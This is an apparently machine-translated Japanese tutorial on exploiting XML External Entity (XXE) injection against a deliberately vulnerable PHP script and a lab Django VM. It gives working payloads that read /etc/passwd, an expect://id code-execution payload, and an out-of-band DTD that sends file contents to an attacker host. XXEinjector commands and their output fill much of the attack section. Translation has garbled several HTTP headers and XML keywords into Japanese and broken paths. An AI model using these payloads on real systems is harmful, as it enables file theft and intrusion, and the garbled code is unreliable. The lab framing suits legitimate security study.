eXternal Entity XML(XXE)の脆弱性の悪用







侵入テスト中に、XML eXternal Entity(XXE)インジェクション攻撃を実行できる脆弱性が発生する場合があります。 XXEインジェクションは、XML入力を解析するアプリケーションに対する攻撃の一種です。 これは、クロスサイトリクエストフォージェリ(CSRF)などのWebアプリケーションの他のベクトル攻撃と比較して比較的難解な脆弱性ですが、機密データの抽出やリモートコードの実行につながる可能性があるため、この脆弱性が現れると最大限に活用します(RCE)。 この記事では、脆弱性を手動で悪用することで脆弱なPHPサーバーの構成を調べ、次にこのプロセスを自動化するXXEInjectorという便利なツールに進みます。



2つのサイトを使用します。 1つ目はシンプルなPHPサーバーで、2つ目は脆弱なDjango Webアプリケーションを備えた仮想マシンです。 アプリケーションと脆弱なスクリプトへのリンクは、記事の最後に記載されています。



カスタマイズ



この攻撃についてさらに学習する前に、WebアプリケーションがXMLドキュメントとどのようにやり取りするかを理解しておくと、それを悪用できるようになります。 これを行うには、PHPで仮想マシンを使用します。これは、XMLドキュメントを使用して資格情報を検証します。



Ubuntu、PHP 5、およびApacheをWebサーバーとして仮想マシンとして使用します(ただし、実稼働サーバーでApacheを使用することはお勧めしません)。 XML解析を行うには、php-xmlモジュールも必要です。



テストには、次のコードを使用します。



<?php    libxml_disable_entity_loader (false);    $xmlfile = file_get_contents('php://input');    $dom = new DOMDocument();    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);    $creds = simplexml_import_dom($dom);    $user = $creds->user;    $pass = $creds->pass;    echo "You have logged in as user $user"; ?>
      
      





上記のスクリプトは、/ xml_injectable.phpに対してリクエストが行われると起動します。



 <creds>   <user>Ed</user>   <pass>mypass</pass> </creds>
      
      





上記の4つの行は、上記のPHPエンドポイントで入力され、xml.txtというXMLファイルに保存されることが予想されます。 このファイルは、CURLを介してPOST要求データを使用します。







入力XMLファイルの解析で最も興味深いのは、サーバー自体のファイルを指すコードを含めることができることです。 これは外部エンティティの例です。 FTPおよびHTTPを介してインターネットでホストされるファイルを含む、外部オブジェクトの全範囲をカバーします。



次のコードを含むようにxml.txtファイルを変更しましょう。



 <source lang="xml"><?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY <b>xxe</b> SYSTEM <b>"file:///etc/passwd</b>" >]> <creds>   <user><b>&xxe;</b></user>   <pass>mypass</pass> </creds>
      
      





xxe要素に注意してください。 POSTデータを含むリクエストを送信した後、被害者のサーバーは/ etc / passwdのコンテンツで応答します。







Xml.txtは、サーバーに外部オブジェクトであるファイル/ etc / passwdを検索し、「ユーザー」フィールドに内容を入力するように指示します。



リモートコード実行



運が私たちの側にあり、PHP解析モジュールがロードされている場合、RCEを使用できます。 ファイルの内容を変更しましょう:



 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <creds>   <user>&xxe;</user>  <pass>mypass</pass> </creds>
      
      





サーバーからの応答は次のようになります。







ただし、XXEを介してRCEが可能な場合は非常にまれです。



BurpおよびXXEinjectorを使用したXXEインジェクションオートメーション



そのような脆弱性を検出する自動ツールをテストしましょう。 XXEiに対して脆弱なDjango Webアプリケーションを実行するTurnKey Linux仮想マシンを使用します。 また、Webアプリケーションの脆弱性を見つけるための一般的なツールの1つであるBurp Suiteも使用しています。



VM構成ファイル(.vmx)を解凍して実行します。 downloadmeファイルは、コンピューターにプライベートネットワークをセットアップするのに役立つダウンロードファイルに含まれています。



VMサーバーには脆弱な形式があります-/static/mailingList.html。 ランダムな値を送信し、スキャナーでBurpリクエストをスキャンします。



BurpはXXEの脆弱性を、ボーナスとして依存するXSSとともに通知する必要があります。







実際、Burpのプロフェッショナル版は、Burp Collaboratorを使用するのに十分な速さです。BurpCollaboratorは、Burpが脆弱性の検出や標的の悪用に使用できる外部サービスです。



実際、Burpから脆弱なアプリケーションに送信されるCollaboratorリクエストは、DNS解決とBurp Collaboratorを起動するように設計されており、成功すると、ターゲットコンピューターが悪意のあるペイロードを完了したことをBurpに通知します。 ほとんどの脆弱性は、応答を調査または記録することで発見できますが、Burp Collaboratorなどの外部サービスを使用すると、次のレベルに進むことができます。 この場合、Burpは/ etc / passwdファイル自体を取り出しました。



以下の画像は、Collaboratorの作品を示しています。















注入プロセスを最も正確に制御するには、XXEinjectorを使用します。 不完全なリクエストが必要になります。 このコードをrequest.txtファイルに保存します。







XXEinjectorの方法論



XXEinjectorは、要求されたfile.dtdファイルで応答するようリモートサーバーに指示するペイロードを送信します。 XXEinjectorからの同じリクエストで、file.dtdが被害者のWebサーバーに正常に到達し、正しく解釈された場合にのみ実行できる他の2つのエンティティを呼び出します。 たとえば、これをPHPサーバーで機能させるには、XXEinjectorフラグを指定してbase64でコードをエンコードする必要があります。 Base64は、エクスプロイト中にインタープリターをクラッシュさせない限られた文字セット(引用符など)を使用し、WAF / IDS / IPSがブロックできないように追加のデコードステップが必要です。



要求は次のとおりです。



POST /xml_injectable.php HTTP / 1.1

ユーザーエージェント:Mozilla / 5.0(Macintosh; Intel Mac OS X 10.11; rv:49.0)Gecko / 20100101 Firefox / 49.0

許可:text / html、application / xhtml + xml、application / xml; q = 0.9、* / *; q = 0.8

Accept-Language:en-US、en; q = 0.5

Accept-Encoding:gzip、deflate

接続:閉じる

Upgrade-Insecure-Requests:1

コンテンツの長さ:158

ホスト:192.168.242.139

Content-Type:application / x-www-form-urlencoded

<!DOCTYPE変換[<!ENTITY%remote SYSTEM " 192.168.240.1:80 / file.dtd">%remote;%int;%trick;]>

何とか

マイパス



攻撃されたサーバーはリクエストを解析し、file.dtdの内容を「リモート」に置き換えます(攻撃マシンにアクセスした後)。 File.dtdファイルは次のとおりです。



 <!ENTITY % payl SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.240.1:80/?p=%payl;'>">
      
      





抽出しようとしているファイルのURLである「payl」という新しいエンティティを定義していることに注意してください。 次に、前のクエリで不足している2つのオブジェクト「int」と「trick」を特定します。 「トリック」は別のオブジェクト-「int」で定義されたオブジェクトであることに注意してください。 最後に、このコードはエンコードされていないことに注意してください。 一部の文字は、あるオブジェクトが別のオブジェクトに埋め込まれているためにエンコードされますが、リクエスト自体はbase64でエンコードされません。



これですべてのエンティティができました。 エンティティ「trick」の定義では、「payl」の内容を/ etc / passwdの内容に置き換えていることに注意してください。 つまり、被害者のサーバーは、XXEinjectorを実行しているサーバーにリクエストを送信し、/ etc / passwdの内容をパラメーターとしてこのURLに渡すだけです。 アプリケーションは、脆弱なWebフォーム/アプリケーションページに応答して/ etc / passwdファイルの内容を返す必要はありません。 このパラメーターの内容を含む要求を送信するだけです。 XXEinjectorはパラメーターを分析し、ファイルに保存します。 できた!



実用例



最初のサイト-xml_injectable.phpスクリプトで動作するシンプルなPHPサーバーに戻りましょう。 無関係なコードにコメントして、PHPスクリプトを変更しましょう。



 <?php   libxml_disable_entity_loader (false);   $xmlfile = file_get_contents('php://input');   $dom = new DOMDocument();   $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);  // $creds = simplexml_import_dom($dom);  // $user = $creds->user;  // $pass = $creds->pass;  // echo "You have logged in as user $user"; ?>
      
      





したがって、スクリプトはXML形式のリクエストをPHPオブジェクトにロードします。 PHPオブジェクトのXMLドキュメントを解析しています。 XXEinjectorサンプルリクエストを実行してみましょう。



> sudo ruby​​ XXEinjector.rb --host = 192.168.240.1 --path = / etc / passwd

--file = phprequest.txt --proxy = 192.168.240.1:8080 --oob = http --verbose







POST /xml_injectable.php HTTP / 1.1

ホスト:192.168.242.139

ユーザーエージェント:Mozilla / 5.0(Macintosh; Intel Mac OS X 10.11; rv:49.0)Gecko / 20100101 Firefox / 49.0

許可:text / html、application / xhtml + xml、application / xml; q = 0.9、* / *; q = 0.8

Accept-Language:en-US、en; q = 0.5

Accept-Encoding:gzip、deflate

接続:閉じる

Upgrade-Insecure-Requests:1

ゼインジェクト

何とか

マイパス







このクエリを実行すると、XXEinjectorから次の結果が得られます。



列挙はロックされています。

悪意のあるXMLでリクエストを送信する:

192.168.242.139/xml_injectable.php

{"User-Agent" => "Mozilla / 5.0(Macintosh; Intel Mac OS X 10.11; rv:49.0)Gecko / 20100101 Firefox / 49.0"、 "Accept" => "text / html、application / xhtml + xml、application /xml;q=0.9,*/*;q=0.8 "、" Accept-Language "=>" en-US、en; q = 0.5 "、" Accept-Encoding "=>" gzip、deflate "、"接続"=>" Close "、" Upgrade-Insecure-Requests "=>" 1 "、" Content-Length "=>" 158 "}



<!DOCTYPE変換[<!ENTITY%リモートシステム

" 192.168.240.1:80 / file.dtd">%remote;%int;%trick;]>

何とか

マイパス





XMLのリクエストを受け取りました:

GET /file.dtd HTTP / 1.0



XMLでの応答:/ etc / passwd

送信されたXMLペイロード:

<!ENTITY%payl SYSTEM "file:/// etc / passwd">

<!ENTITY%int "<!ENTITY%トリックシステム

'http://192.168.240.1:80/?p=%payl;'> ">



FTP / HTTPが応答しませんでした。 XMLパーサーが提供されたファイルを解析できないか、アプリケーションが応答しません。 待つか次ですか?



いくつかのフラグを使用しているため、XXEinjectorの動作を正確に確認できます。 XXEinjectorが被害者サーバーに/file.dtdファイルで応答させたことを確認します。



Apacheのエラーログを調べたところ、loadXMLメソッドがファイルを生成するように強制するのに十分なデータを受け取っていないことがわかりました。



[Sun Nov 06 09:10:46.145222 2016] [:error] [pid 1222] [client 192.168.242.1:64701] PHP Notice:DOMDocument :: loadXML():PEReference:%int; エンティティで見つからない、行:16行目の/var/www/html/xml_injectable.phpで1



[Sun Nov 06 09:10:46.145257 2016] [:error] [pid 1222] [client 192.168.242.1:64701] PHP Notice:DOMDocument :: loadXML():PEReference:%trick; エンティティで見つからない、行:16行目の/var/www/html/xml_injectable.phpで1





XMLとloadXMLのセマンティクスに関するいくつかの調査の後、エンコードに問題があること、つまりファイルの指定方法(/ etc / passwd)に気付いた。 幸いなことに、XXEinjectorにはこの文字列をエンコードするフラグがあります。 リクエストに--phpfilterフラグを追加するだけです。



> sudo ruby​​ XXEinjector.rb --host = 192.168.240.1 --path = / etc / passwd --file = phprequest.txt --proxy = 192.168.240.1:8080 --oob = http --verbose --phpfilter



実行結果:



JakubPałaczyńskiDTDによるXXEinjectorが注入されました。

列挙はロックされています。

悪意のあるXMLでリクエストを送信する:

192.168.242.139/xml_injectable.php

{"User-Agent" => "Mozilla / 5.0(Macintosh; Intel Mac OS X 10.11; rv:49.0)Gecko / 20100101 Firefox / 49.0"、 "Accept" => "text / html、application / xhtml + xml、application /xml;q=0.9,*/*;q=0.8 "、" Accept-Language "=>" en-US、en; q = 0.5 "、" Accept-Encoding "=>" gzip、deflate "、"接続"=>" Close "、" Upgrade-Insecure-Requests "=>" 1 "、" Content-Length "=>" 158 "}



<!DOCTYPE変換[<!ENTITY%remote SYSTEM " 192.168.240.1:80 / file.dtd">%remote;%int;%trick;]>



何とか

マイパス





XMLのリクエストを受け取りました:

GET /file.dtd HTTP / 1.0

XMLでの応答:/ etc / passwd

送信されたXMLペイロード:

<!ENTITY%payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:/// etc / passwd">

<!ENTITY%int "<!ENTITY%トリックシステム

'http://192.168.240.1:80/?p=%payl;'> ">



ファイル/ディレクトリのコンテンツを受け取った場合の応答:

GET /?P = cm9vdDp4OjA6M(base64エンコード文字列の残り)HTTP / 1.0



列挙のロックは解除されました。

正常に記録されたファイル:/ etc / passwd

他に何もする必要はありません。 終了します。



XXEinjector Logsカタログを確認すると、大事なダンプが表示されます。



参照資料



脆弱なDjango VM (パスワード:mcfatty)

XXEインジェクター

脆弱なPHPスクリプト



All Articles